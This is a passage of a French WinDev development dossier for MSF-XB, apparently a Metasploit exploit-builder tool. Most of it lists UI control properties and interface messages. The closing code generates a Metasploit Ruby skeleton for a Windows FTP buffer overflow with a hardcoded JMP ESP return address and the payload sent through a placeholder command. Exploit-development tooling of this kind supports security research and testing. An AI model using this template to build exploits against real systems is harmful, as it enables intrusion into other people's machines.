Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Forme : SCRTF.Forme2

Note pour le dossier

FR,GB: FR,GB:

Altitude 11Sens Vertical

Numéro aide 0

Opacité 100

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 815: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 821

Forme : SCRTF.Forme3

Note pour le dossier

FR,GB: FR,GB:

Altitude 12Sens Vertical

Numéro aide 0

Opacité 100

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Forme : SCRTF.Forme4

Note pour le dossier

FR,GB: FR,GB:

Altitude 13Sens Vertical

Numéro aide 0

Opacité 100

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 816: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 822

Forme : SCRTF.Forme5

Note pour le dossier

FR,GB: FR,GB:

Altitude 19Sens Vertical

Numéro aide 0

Opacité 100

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : SCRTF.Police

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 300Largeur liste 200Larg. déroulée perso. OuiHauteur ligne 15Altitude 5Retrait gauche 2Position X interne 491Largeur interne 141

Page 817: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 823

Bulle d'aide FR: PoliceGB: Font

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SCRTF.SaisieTexte

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0Synchro Infos Partagées NonTouche TAB Interne

Cadrage horz. Gauche

Page 818: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 824

Altitude 10Retrait gauche 2Position X interne 388Largeur interne 627

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 819: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 825

Bouton : SCRTF.StyleBarré

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Oui

Altitude 20

Bulle d'aide FR: BarréGB: Strikeout

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Barre.gifNb. états image 1Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 820: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 826

Bouton : SCRTF.StyleGras

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Oui

Altitude 9

Bulle d'aide FR: GrasGB: Bold

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR: G:\Mes Projets\MSF-XB11\Gras.GIFGB: G:\Mes Projets\MSF-XB11\Bold.gif

Nb. états image 1Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 821: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 827

Bouton : SCRTF.StyleItalique

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Oui

Altitude 3

Bulle d'aide FR: ItaliqueGB: Italic

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Italique.GIFNb. états image 1Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 822: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 828

Bouton : SCRTF.StyleSouligné

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Oui

Altitude 2

Bulle d'aide FR: SoulignéGB: Underlined

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR: G:\Mes Projets\MSF-XB11\Souligne.GIFGB: G:\Mes Projets\MSF-XB11\underline.gif

Nb. états image 1Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 823: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 829

Combo : SCRTF.TaillePolice

Note pour le dossier

FR,GB: FR,GB:

Contenu initial FR,GB: 8 9 10 11 12 14 16 18 20 22 24 26 28 36 48 72

Ordre navigation -1Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 500Largeur liste 48Larg. déroulée perso. NonHauteur ligne 15Altitude 4Retrait gauche 2Position X interne 630Largeur interne 48

Bulle d'aide FR: Taille de la policeGB: Font Size

Numéro aide 0

Page 824: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 830

Opacité 100

Taille de saisie 0Masque saisie FR,GB: 0Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable NonMémorise la taille NonHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSelecteurFichierBouton : SCSelecteurFichier.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 6Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR: Choisissez le module d'exploit à éditerGB: Select an exploit module to edit

Page 825: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 831

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Nb. états fond 1Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SCSelecteurFichier.SAIS_FIC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Module:Ordre navigation 5Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 81Largeur interne 634

Numéro aide 0

Opacité 100

Page 826: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 832

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut Oui

Page 827: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 833

Mode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5

Page 828: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 834

Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>

Page 829: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 835

Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 830: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 836

Table : TABLE_REFERENCEColonne de table : TABLE_REFERENCE.REF (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: REFCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 831: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 837

Colonne de table : TABLE_REFERENCE.URL (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: URLCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : TABLE_REFERENCE.VIEW (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: VIEWCurseur survol 0Touche TAB Oui

Numéro aide 0

Page 832: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 838

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

MSFXB_Editor Messages multilangues

N° Message

2000 FR: Sélectionnez un fichier...GB: Select a file...

2001 FR: Tous fichiers (*.*)GB: All Files (*.*)

2002 FR: Voulez-vous sauvegarder le fichier GB: Do you want to backup the file

2003 FR: BlancGB: White

2004 FR,GB: Cyan2005 FR,GB: Magenta2006 FR: Rouge foncé

GB: Dark Red2007 FR: Rouge

GB: Red2008 FR: Vert foncé

GB: Dark Green

Page 833: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 839

N° Message

2009 FR: VertGB: Green

2010 FR: Vous devez choisir une adresse de retourGB: You must choose a return address

2011 FR: Création d'un nouvel exploitGB: New exploit creation

2012 FR: Voulez-vous utiliser l'assistant?GB: Do you want to use the assistant?

2013 FR: Fichier sauvegardé dans: GB: File saved in:

2014 FR: DLL trouvée dans la description...GB: DLL found in the description...

2015 FR: OPcode trouvé dans la description...GB: OPcode found in the description...

2016 FR: Enregistrer sous...GB: Save as...

N° mess.: numéro de message.

Page 834: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 840

MSFXB_Editor Code

Déclarations globales de MSFXB_EditorPROCEDURE MSFXB_Editor(monEXPLOIT=0) //ID de l'EXPLOIT passé par la fenêtre AutoExploiter - colonne COL_IDEXPLOIT de Table1

GLOBALNumFic is intLigneLue is stringMonCpt is int //Utilisé comme compteur

LOCAL

Initialisation de MSFXB_EditorLIBURL=Titre_Fenetre()

//Vérification que la recherche dans les fichiers de modules exploits (.pm) est activée//VERIF_REGISTRE()

SI fTaille("OPCODES_ASM.txt")>0 ALORSBTN_LISTE_OPCODES..Visible=Vrai

FIN

SI monEXPLOIT<>"" ALORSHLitRecherche(EXPLOIT,IDEXPLOIT,monEXPLOIT)SI HTrouve ALORS

SI EXPLOIT.NOM_FICHIER_MSF3<>"" ALORSSCSelecteurFichier.SAIS_FIC=gsCheminMSF3 + "framework\modules\exploits\" + EXPLOIT.NOM_FICHIER_MSF3//Chemin MSF3 - par défaut: "C:\Program Files\Metasploit\Framework3\"

SINONSCSelecteurFichier.SAIS_FIC=gsCheminMSF2 + "home\framework\exploits\" + EXPLOIT.NOM_FICHIER//Chemin MSF2 - par défaut: "C:\Program Files\Metasploit Framework\"

FINFINExécute("BTN_OUVRE..clic")

FIN

Page 835: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 841

SI LigneCommande()<>"" ET (Droite(Upper(LigneCommande),3)=".RB" OU Droite(Upper(LigneCommande),3)=".PM") ALORS//Ouverture d'un exploit depuis l'explorateur Windows : on a reçu le chemin de l'exploit à ouvrir en ligne de commandeSCSelecteurFichier.SAIS_FIC=LigneCommandeExécute("BTN_OUVRE..clic")

FIN

IF SCSelecteurFichier.SAIS_FIC="" THEN// SCSelecteurFichier.SAIS_FIC="C:\Program Files\Metasploit Framework\home\framework\exploits\"SI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

SCSelecteurFichier.SAIS_FIC=gsCheminMSF3 + "home\framework\modules\exploits\"//Chemin MSF3 - par défaut: "C:\Program Files\Metasploit\Framework3\"

SINON// SCSelecteurFichier.SAIS_FIC=gsCheminMSF3 + "framework\modules\exploits\"//Chemin MSF3 - par défaut: "C:\Program Files\Metasploit\Framework3\"

SCSelecteurFichier.SAIS_FIC=fRechercheFichier(gsCheminMSF3, "msfconsole", ".svn")SI SCSelecteurFichier.SAIS_FIC <> "" ALORS SCSelecteurFichier.SAIS_FIC=Remplace(SCSelecteurFichier.SAIS_FIC, "msfconsole", "modules\exploits\")

FINEND

Fermeture de MSFXB_EditornCOLORATION_SYNTAXIQUE_ACTIVE=0SI MSFXB_Editor.EXPLOIT_CODE <> RTFToText(MSFXB_Editor.SCRTF.SaisieTexte) ALORS

//Le code de l'exploit a été modifiéExécute("BTN_SAVE..click")

FIN

Page 836: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 842

MSFXB_Editor Code des champs

Clic sur BTN_ADD_TARGETSI COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée="" ALORS

Erreur("Vous devez choisir une adresse de retour")RepriseSaisie(COMBO_ADRESSE_RETOUR_RECHERCHE)

FIN

I is int=RTFRecherche(SCRTF.SaisieTexte, "'Targets'")SI I>0 ALORS

I=RTFRecherche(SCRTF.SaisieTexte,"[",rtfMotComplet,I)SI I>0 ALORS// info(i)

sNomTarget is stringSI COMBO_OSnom..ValeurAffichée<>"" ALORS

sNomTarget=COMBO_OSnom..ValeurAffichéeSINON

sNomTarget=ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,4)FINSI COMBO_OSversion..ValeurAffichée<>"" ALORS

sNomTarget+=" "+COMBO_OSversion..ValeurAffichéeFINSI COMBO_OSSP..ValeurAffichée<>"" ALORS

sNomTarget+=" SP"+COMBO_OSSP..ValeurAffichéeSINON

FINsNomTarget+=" "+ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,5)

sAdresseRetour is string=""// si ADRESSE_RETOUR<>"" alors// sAdresseRetour=ADRESSE_RETOUR// sinon// si COMBO_TARGET..ValeurAffichée<>"" alors

sAdresseRetour="0x"+ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,1)// FIN// FIN

sNomOpcode is string=""

Page 837: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 843

SI dll<>"" ALORSsNomOpcode=dll

SINONsNomOpcode=ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,3)

FIN// si MON_OPCODE<>"" alors// sNomOpcode+=" "+MON_OPCODE// sinon

sNomOpcode+=" "+ExtraitChaîne(COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichée,2)// FIN

SI sNomOpcode<>"" ALORSsNomOpcode=" #"+Remplace(sNomOpcode, "#", "")

FINRTFInsère(SCRTF.SaisieTexte,RC+TAB+TAB+TAB+TAB+TAB+"[ 'Windows "+ sNomTarget +"'"+ ", { 'Ret' => " + sAdresseRetour +" } ],"+ sNomOpcode,I+1)

//On ajoute la nouvelle cible fraichement ajoutée dans la combosVal is string=COMBO_ADRESSE_RETOUR_RECHERCHE..ValeurAffichéeListeAjoute(COMBO_TARGET, ExtraitChaîne(sVal,4) +" "+ ExtraitChaîne(sVal,5)+TAB+ "0x"+ExtraitChaîne(sVal,1)+TAB+ ExtraitChaîne(sVal,2)+TAB+ ExtraitChaîne(sVal,3))

//On affiche le champ RTF//EXPLOIT_CODE=SCRTF.SaisieTexte

SINONSI EnModeTest() ALORS Erreur("RTFRecherche")

FINFIN

Clic sur BTN_ASCIIOuvre(TABLE_ASCII,PAYLOAD_BADCHARS)

Clic sur BTN_Bouton3SI MSFXB_Editor.EXPLOIT_CODE <> RTFToText(MSFXB_Editor.SCRTF.SaisieTexte) ALORS

//Le code de l'exploit a été modifiéExécute("BTN_SAVE..click")

FINVIDER_CHAMPS()SCSelecteurFichier.SAIS_FIC=""Message("Création d'un nouvel exploit")

Reponse is int=0Reponse=OuiNon("Voulez-vous utiliser l'assistant?")

Page 838: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 844

SI Reponse THEN// Ouvre("MSF-XB_Assistant")

Iconize(MSFXB_Editor)OuvreSoeur(MSFXB_Assistant)

SINON//On crée un nouvel exploit à partir de rien

NOM="MSF-XB New Exploit"VERSION="$Revision: 1 $"AUTEURS="MSF-XB"

DESCRIPTION="This is a new MSF-XB exploit."

PAYLOAD_SPACE="1000"PAYLOAD_BADCHARS="\x00"

EXPLOIT_CODE="require 'msf/core'"+RC+RC

EXPLOIT_CODE+="module Msf"+RC+RC

EXPLOIT_CODE+="class Exploits::Windows::Ftp::New_Exploit < Msf::Exploit::Remote"+RC+RC

EXPLOIT_CODE+=TAB+"include Exploit::Remote::Ftp"+RC+RC

EXPLOIT_CODE+=TAB+"def initialize(info = {})"+RCEXPLOIT_CODE+=TAB+TAB+"super(update_info(info,"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'Name' => 'MSF-XB New Exploit',"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'Description' => %q{"+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+"This is a new MSF-XB exploit."+RCEXPLOIT_CODE+=TAB+TAB+TAB+"},"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'Author' => 'MSF-XB',"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'License' => MSF_LICENSE,"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'Version' => '$Revision: 1 $',"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'References' =>"+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+"["+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ 'SECURINFOS', '"+DateSys()+"' ],"+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+"],"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'Privileged' => false,"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'Payload' =>"+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+"{"+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"'Space' => 1000,"+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"'BadChars' => "+Caract(34)+"\x00"+Caract(34)+","+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+"}"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'Platform' => 'win',"+RC

Page 839: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 845

EXPLOIT_CODE+=TAB+TAB+TAB+"'Targets' => "+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+"["+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ 'Windows 2000 Pro SP4 Universal', { 'Ret' => 0x77e04c29 } ], #USER32.DLL JMP ESP"+RCEXPLOIT_CODE+=TAB+TAB+TAB+TAB+"],"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'DisclosureDate' => '"+DateSys()+"',"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"'DefaultTarget' => 0))"+RCEXPLOIT_CODE+=TAB+"end"+RC+RC

EXPLOIT_CODE+=TAB+"def check"+RCEXPLOIT_CODE+=TAB+TAB+"connect"+RCEXPLOIT_CODE+=TAB+TAB+"disconnect"+RCEXPLOIT_CODE+=TAB+TAB+"if (banner =~ /Vulnerable service banner/)"+RCEXPLOIT_CODE+=TAB+TAB+TAB+"return Exploit::CheckCode::Vulnerable"+RCEXPLOIT_CODE+=TAB+TAB+"end"+RCEXPLOIT_CODE+=TAB+TAB+"return Exploit::CheckCode::Safe"+RCEXPLOIT_CODE+=TAB+"end"+RC+RC

EXPLOIT_CODE+=TAB+"def exploit"+RCEXPLOIT_CODE+=TAB+TAB+"connect_login"+RC+RC

EXPLOIT_CODE+=TAB+TAB+"print_status("+Caract(34)+"Trying target #{target.name}..."+Caract(34)+")"+RC+RC

EXPLOIT_CODE+=TAB+TAB+"sploit = Rex::Text.rand_text_alphanumeric(555, payload_badchars) "+RCEXPLOIT_CODE+=TAB+TAB+"sploit << [target.ret].pack('V') + payload.encoded"+RC+RC

EXPLOIT_CODE+=TAB+TAB+"send_cmd( ['SPECIAL_COMMAND', sploit] , false)"+ TAB+"#MSF-XB: Place the command which trigs the bug here"+RC+RC

EXPLOIT_CODE+=TAB+TAB+"handler"+RCEXPLOIT_CODE+=TAB+TAB+"disconnect"+RCEXPLOIT_CODE+=TAB+"end"+RC+RC

EXPLOIT_CODE+="end"+RCEXPLOIT_CODE+="end"+RC+RC

EXPLOIT_CODE+="#Edited with MSF-eXploit Builder by Jerome Athias - https://www.securinfos.info"+RC

//On charge le code de l'exploit dans le champ de saisie RTFSCRTF.SaisieTexte=EXPLOIT_CODE

// COLORATION_SYNTAXIQUE()

RepriseSaisie(NOM)FIN

Clic sur BTN_Bouton5

